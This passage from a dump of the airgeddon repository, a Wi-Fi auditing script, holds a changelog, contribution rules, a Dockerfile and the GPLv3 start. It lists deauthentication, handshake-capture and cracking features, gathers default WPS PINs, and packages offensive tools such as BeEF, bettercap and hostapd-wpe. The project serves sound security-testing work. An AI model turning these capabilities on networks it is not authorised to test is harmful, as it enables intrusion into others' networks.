flying saucer!!) - Bug fixed after putting card in monitor mode and the card name changed on some Linux distributions - Compatibility extended to Gentoo, Fedora and Red Hat Linux ### 3.33 - Bug fixed relaunching script after donwload a new version - Credits beautified - Known compatible distros unified in one array - "No check kill needed" feature method changed. Now based on Network Manager version - Changes on rfkill method ### 3.32 - Bash version check simplified - Bug with long interface names fixed - Changed trap management, now with buffered messages - Curl removed from essential tools. Now the script performs a separated check for update tools only used for auto-update - Compatibility extended to CentOS Linux ### 3.31 - Check for root permissions after failed essential tools check - Improved missing optional tools detection method and integration with menus - Menu separator lines extracted to functions ### 3.30 - SIGTSTP trap now handled - Minimum bash version check (v4) - Some language strings changed - Non Linux OS check added (Solaris, FreeBSD, OSX) - Compatibility extended to OpenSUSE Linux - README.md updated about Mac OSX incompatibility - Improved OS language detection method - Fixed bug in auto-update ### 3.23 - Compatibility extended to Cyborg Hawk Linux - Needed tools divided, essential and optional. Script can run now with essential tools even without some of the optional tools - Changed "No check kill needed" feature method. Now improved for Kali and Wifislax future versions - Bug fixed while checking for updates on slow connections - README.md beautified ### 3.22 - Cleaning Handshake files now perform some checks to avoid corruption file problem - Capture files are checked before cracking looking for Handshakes and easy targeting - Fixed bug checking existence of files ### 3.21 - Auto-update feature. Script checks for newer version - Some language strings changed ### 3.20 - New offline password decrypt menu - Aircrack option to perform dictionary/bruteforce attacks against capture files - Removed autoclean after capturing a Handshake file - Changed version var to airgeddon_version for future version check (auto-update feature) ### 3.11 - Optional autoclean captured Handshake file feature - Some language strings changed ### 3.10 - Restoring initial state of cards on exit feature - "No check kill needed" feature added while putting card in monitor mode for some Linux distributions - Fixed bug checking tools ### 3.02 - Cleaning tasks on exit - Minor code refactor - Some language strings changed - Hint method improved ### 3.01 - Handshake tools menu added - Handshake capture feature - Handshake cleaning/optimizing feature - Random helping hints added (regarding the script zone) ### 3.0 - New menus, new structure - New Handshake features preparation (not working yet in this revision) - Code normalization ### 2.33 - Catalan language translation added (Thank you to "El Padrino") ### 2.32 - Autodetect OS language feature added - Some language strings changed ### 2.31 - French language translation added (Thank you to "kcdtv") - Only one network autoselect bug fixed ### 2.30 - Compatibility extended to Parrot, Blackarch and Backbox Linux - Essential tools check improved - Distro compatibility check improved - Iwconfig use fix based on version - Pink color added ### 2.23 - Read "pause" functions now integrated with language strings - Title generator extracted to function - Improvements on colors - Changelog order changed. New changes now upper ### 2.22 - Minor print fail in ascii art at credits fixed - Disclaimer and requirements updated - Some typo errors fixed - Changes on compatibility check structure - Ubuntu and Debian Linux compatibility check added ### 2.21 - Wifislax 64bits compatibility bug fixed - Removed version from README.md file ### 2.20 - Changes to manage Wifislax airmon command in a better way ### 2.11 - More color features - Compatibility check minor bug fixed ### 2.10 - Compatibility check at beginning to support more Linux distributions - Changelog file added to project ### 2.03 - Interface detection method changed - Fixed bug for Kali 2016.1 ### 2.02 - Menu titles improvement - Converted to UTF-8 enconding. Special spanish chars bug fixed - Some minor code improvements ### 2.01 - Multilanguage support feature included - English and Spanish languages added ### 2.0 - Code restructuration - WIDS confusion attack added - Old attacks menu included - Traps managing feature ### 1.03 - Secondary xterm windows added - Explore for targets feature included - Code improvements ### 1.02 - Improved echo messages and colors - Aireplay deauth attack included - Monitor and managed options added ### 1.01 - Detect distro functionality included - Kali and Wifislax Linux compatibility - Rfkill added ### 1.0 - Initial commit ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting us at [v1s1t0r.1s.h3r3@gmail.com]. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][Homepage], version 1.4, available at [https://contributor-covenant.org/version/1/4][Version] [Homepage]: https://contributor-covenant.org [Version]: https://contributor-covenant.org/version/1/4/ ================================================ FILE: CONTRIBUTING.md ================================================ # Contributing Hi there! We are thrilled that you would like to contribute to this project. Your help is essential for keeping it great. When contributing to this repository, please first discuss the change you wish to make via issue, email, or any other method with the owners of this repository before making a change. Please read the Issue Creation Policy shown below before creating it. Please note we have a [Code of Conduct], please follow it in all your interactions with the project. --- ## Issue Creation Policy 1. Please, consider to contact us on [IRC] channel or [Discord] server before opening an issue. More info at [Wiki Contact Section]. 2. Before opening an issue, keep in mind that many of the common questions are already addressed in the [Wiki FAQ Section]. Please avoid asking questions that are already answered there. 3. Filling the issue template with *ALL* the requested info is mandatory. Otherwise, the issue can be marked as "invalid" and closed immediately. 4. Issues must be opened in English. 5. If an issue is opened and more info is needed, `airgeddon` staff will request it. If there is no answer in 7 days or the OP is not collaborating, the issue will be closed. 6. If the issue is not related to airgeddon or the root cause is out of scope, it will be closed. `airgeddon` staff is not a helpdesk support service. 7. Try to be sure that your problem is related to airgeddon and that is not a driver issue. A good practice is always to try to perform the same operation without using `airgeddon` in order to see if the problem or the behavior can be reproduced. In that case, probably the issue should not be created. 8. Don't talk or mention references to other tools. If you want to talk about other similar tools you can do it on their pages/GitHub. `airgeddon` issues are to talk about `airgeddon`. ## Collaborating Translators 1. ALWAYS ask before starting a translation to add a new language. You can do so by contacting us via email at [v1s1t0r.1s.h3r3@gmail.com], through Twitter (X) at [@OscarAkaElvis], via [IRC] channel, or on the [Discord] server. Please reach out to the development team to clarify your intentions. You will then be informed about how to proceed. 2. Translate the strings located in `language_strings.sh`, the existing strings of _language_strings_handling_messages_ function in `airgeddon.sh` and the strings of _missing_dependencies_text_ function in `missing_dependencies.sh` (this last file is in plugins dir). 3. If you want to create a pull request with a new language to be added, at least the 80% of the phrases must be translated and the rest must be done with at least _an automatic-translation_ system and marked with PoT (Pending of Translation) mark. Anyway, always ask first. 4. Remember that pull requests done over master branch will be rejected. Read the git workflow policy first. 5. After verification of and acceptation of the pull request, you can be added as a collaborator on the project to push directly on the repository instead of submitting pull requests. 6. Knowledge about `git` is mandatory (at least basic commands) to push directly into the project repository. ## Collaborating Developers and Plugins Development #### For direct interaction with the repository (plugins development excluded): 1. First ask ALWAYS before performing a development. Ask the developement team to set what is going to be. 2. Tweak *"AIRGEDDON_DEVELOPMENT_MODE"* variable to "true" for faster development skipping intro and initial checks or change *"AIRGEDDON_DEBUG_MODE"* variable for verbosity. 3. Respect the **4 width tab indentation**, code style and the **UTF-8 encoding**. 4. Use **LF** (Unix) line break type (not CR or CRLF). 5. Use [Shellcheck] to search for errors and warnings on code. (Thanks [xtonousou] for the tip :wink:). To avoid false positive warnings you must launch shellcheck using `-a -x` arguments to follow source files and from the directory where `airgeddon.sh` is. For example: `~# cd /path/to/airgeddon && shellcheck -a -x airgeddon.sh` 6. Increase the version numbers in `airgeddon.sh`, in [Readme] and in [Changelog] to the new version that the script represents. The versioning scheme we use is *X.YZ*. Where: - *X* is a major release with a new menu (e.g. WPS menu) - *Y* is a minor release with a new feature for an existing menu or a new submenu for an existing feature - *Z* is a minor release with new bug fixes, small modifications or code improvements 7. Split your commits into parts. Each part represents a unique change on files. 8. Direct push to [Master] is not allowed. Pull Requests to [Master] are not allowed. Should be done over [Dev] or any other branch. They require revision and approvement. Read the git workflow policy first. 9. All the development and coding must be in English. *Be sure to merge the latest from "upstream" before submitting a pull request!* #### For plugins development: 1. Read carefully the [Wiki Plugins Development Section]. 2. Plugins Pull Requests will never be accepted. Plugins MUST be external to this repository. 3. Develop your plugin following the guidelines and using the plugin template to keep the needed structure. 4. If you want to add your plugin to [Wiki Plugins Hall of Fame Section], follow the instructions explained there. Don't open an issue. We also have a private Telegram group for *trusted collaborators* for more agile discussion about developments, improvements, etc. To be added on it, you must first prove that you are a *trusted collaborator* through your contributions. Anything can be also discussed on public [IRC] channel or [Discord] server. More info at [Wiki Contact Section]. ## WPS PIN Database Collaborators 1. Send MAC of the BSSID and the default PIN to [v1s1t0r.1s.h3r3@gmail.com]. If you are going to push directly into the repository, keep reading the next points and remember about the git workflow policy. 2. Remember that all PINs must be 8 digits and must be working PINs (verified that they work). 3. Add PINs ordered by the key in the associative array located in the `known_pins.db` file. (Keys are the first 6 BSSID digits). 4. Update the `pindb_checksum.txt` file with the calculated checksum of the already modified database file using `md5sum` tool. *PINs should be from devices that generate generic ones.* ## Beta Testers 1. Download the main version from the [Master] branch or the beta testing version from the development branch called [Dev]. Temporary branches may be existing for specific features that can also be tested. 2. Report any issues or bugs via [IRC] channel, [Discord] server, or submit GitHub issue requests [here] after reading the Issue Creation Policy. ## Git Workflow Policy 1. Direct push to [Master] is not allowed. 2. Pull Requests to [Master] are not allowed. 3. Usually, commits and pull requests should be done on [Dev] branch. If you have any doubt, don't hesitate to ask first. 4. Temporary branches may be existing for specific features, be pretty sure that the branch you are going to commit on is the right one. Ask first if you have any doubt. 5. Any branch will be finally merged to [Dev], there it will be reviewed and tested deeply before being merged to [Master]. 6. All merges from [Dev] to [Master] are a new `airgeddon` release. This merges to [Master] will be performed and reviewed exclusively by [v1s1t0r]/[OscarAkaElvis]. --- ## Donate or buy merchandising If you enjoyed the script, feel free to donate. Support the project through PayPal or sending a fraction any of the cryptocurrencies listed below. Any amount, not matter how small (1, 2, 5 $/€) is welcome. Another way to contribute is buying some merchandising (mugs, T-shirts, etc.). A little portion of each payment (after deducting material, printing and shipping) will be to support the project. Check the [merchandising-online-shop].
PayPal: v1s1t0r.1s.h3r3@gmail.com
Bitcoin: bc1qymhcwsdmw0rn773czet7dv220a4u9fn0278r76
Bitcoin Cash: 1GspqR87pn8569etY1Qfs3amUGQo9S5a1w
BAT: 0x1b844e8251Db6A938813466Cf033FAF70c7c94bB
Ethereum: 0xaEf16Ffbd03A742Ab6DAB8Bd60C6014726099583
Litecoin: ltc1q3ncz8gxzvzuekupatpm29k6u3c26cf78tw3zjx
Pi: GBWAREEMQJ6VRPXOH2UTXUYSQSKQDJLNKHSDUCBUJVWC2CFIASAZ6I5T

PayPal Buy me a coffee

Bitcoin QR code: Bitcoin Cash QR code: BAT QR code:
Bitcoin Bitcoin Cash BAT
Ethereum QR code: Litecoin QR code: Pi QR code:
Ethereum Litecoin Pi
--- ## Discord Server Boosting You can also contribute using your Nitro Boosts on our [Discord] server. After boosting, your name will appear as a _Server Booster_ contributor there. Check [Wiki Contact Section] for more info about how to join to it. [Readme]: README.md [Changelog]: CHANGELOG.md [Code of Conduct]: CODE_OF_CONDUCT.md [Shellcheck]: https://github.com/koalaman/shellcheck "shellcheck.hs" [Here]: https://github.com/v1s1t0r1sh3r3/airgeddon/issues/new/choose [Master]: https://github.com/v1s1t0r1sh3r3/airgeddon/tree/master [Dev]: https://github.com/v1s1t0r1sh3r3/airgeddon/tree/dev [xtonousou]: https://github.com/xtonousou "xT" [v1s1t0r]: https://github.com/v1s1t0r1sh3r3 [OscarAkaElvis]: https://github.com/OscarAkaElvis [Wiki Contact Section]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Contact [Wiki FAQ Section]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/FAQ%20&%20Troubleshooting [Wiki Plugins Development Section]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Plugins%20Development [Wiki Plugins Hall of Fame Section]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Plugins%20Hall%20of%20Fame [@OscarAkaElvis]: https://twitter.com/OscarAkaElvis [Discord]: https://discord.gg/sQ9dgt9 [IRC]: https://web.libera.chat/ [merchandising-online-shop]: https://airgeddon.creator-spring.com/ ================================================ FILE: Dockerfile ================================================ #airgeddon Dockerfile #Base image FROM kalilinux/kali-rolling:latest #Credits & Data LABEL \ name="airgeddon" \ author="v1s1t0r " \ maintainer="OscarAkaElvis " \ description="This is a multi-use bash script for Linux systems to audit wireless networks." #Env vars ENV AIRGEDDON_URL="https://github.com/v1s1t0r1sh3r3/airgeddon.git" ENV HASHCAT2_URL="https://github.com/v1s1t0r1sh3r3/hashcat2.0.git" ENV DEBIAN_FRONTEND="noninteractive" #Update system RUN apt update #Set locales RUN \ apt -y install \ locales && \ locale-gen en_US.UTF-8 && \ sed -i -e 's/# en_US.UTF-8 UTF-8/en_US.UTF-8 UTF-8/' /etc/locale.gen && \ echo 'LANG="en_US.UTF-8"' > /etc/default/locale && \ dpkg-reconfigure --frontend=noninteractive locales && \ update-locale LANG=en_US.UTF-8 #Env vars for locales ENV LANG="en_US.UTF-8" ENV LANGUAGE="en_US:en" ENV LC_ALL="en_US.UTF-8" #Install airgeddon essential tools RUN \ apt -y install \ gawk \ iw \ aircrack-ng \ xterm \ iproute2 \ pciutils \ procps \ tmux #Install airgeddon internal tools RUN \ apt -y install \ ethtool \ usbutils \ rfkill \ x11-utils \ wget \ ccze \ systemd \ x11-xserver-utils \ arping \ sox #Install update tools RUN \ apt -y install \ curl \ git #Install airgeddon optional tools RUN \ apt -y install \ crunch \ hashcat \ mdk3 \ mdk4 \ hostapd \ lighttpd \ iptables \ nftables \ ettercap-text-only \ bettercap \ isc-dhcp-server \ dnsmasq \ reaver \ bully \ pixiewps \ hostapd-wpe \ asleap \ john \ openssl \ hcxtools \ hcxdumptool \ beef-xss \ tshark \ tcpdump \ hostapd-mana #Env var for display ENV DISPLAY=":0" #Create volume dir for external files RUN mkdir /io VOLUME /io #Set workdir WORKDIR /opt/ #airgeddon install method 1 (only one method can be used, other must be commented) #Install airgeddon (Docker Hub automated build process) RUN mkdir airgeddon COPY . /opt/airgeddon #airgeddon install method 2 (only one method can be used, other must be commented) #Install airgeddon (manual image build) #Uncomment git clone line and one of the ENV vars to select branch (master->latest, dev->beta) #ENV BRANCH="master" #ENV BRANCH="dev" #RUN git clone -b ${BRANCH} ${AIRGEDDON_URL} #Remove auto update RUN sed -i 's|AIRGEDDON_AUTO_UPDATE=true|AIRGEDDON_AUTO_UPDATE=false|' airgeddon/.airgeddonrc #Force use of iptables RUN sed -i 's|AIRGEDDON_FORCE_IPTABLES=false|AIRGEDDON_FORCE_IPTABLES=true|' airgeddon/.airgeddonrc #Make bash script files executable RUN chmod +x airgeddon/*.sh #Downgrade Hashcat RUN \ git clone ${HASHCAT2_URL} && \ cp /opt/hashcat2.0/hashcat /usr/bin/ && \ chmod +x /usr/bin/hashcat #Clean packages RUN \ apt clean && \ apt autoclean && \ apt autoremove -y #Clean files RUN \ rm -rf /opt/airgeddon/imgs > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/.github > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/.editorconfig > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/CONTRIBUTING.md > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/CODE_OF_CONDUCT.md > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/pindb_checksum.txt > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/Dockerfile > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/binaries > /dev/null 2>&1 && \ rm -rf /opt/hashcat2.0 > /dev/null 2>&1 && \ rm -rf /opt/airgeddon/plugins/* > /dev/null 2>&1 && \ rm -rf /tmp/* > /dev/null 2>&1 && \ rm -rf /var/lib/apt/lists/* > /dev/null 2>&1 #Expose BeEF control panel port EXPOSE 3000 #Create volume for plugins VOLUME /opt/airgeddon/plugins #Start command (launching airgeddon) CMD ["/bin/bash", "-c", "/opt/airgeddon/airgeddon.sh"] ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the 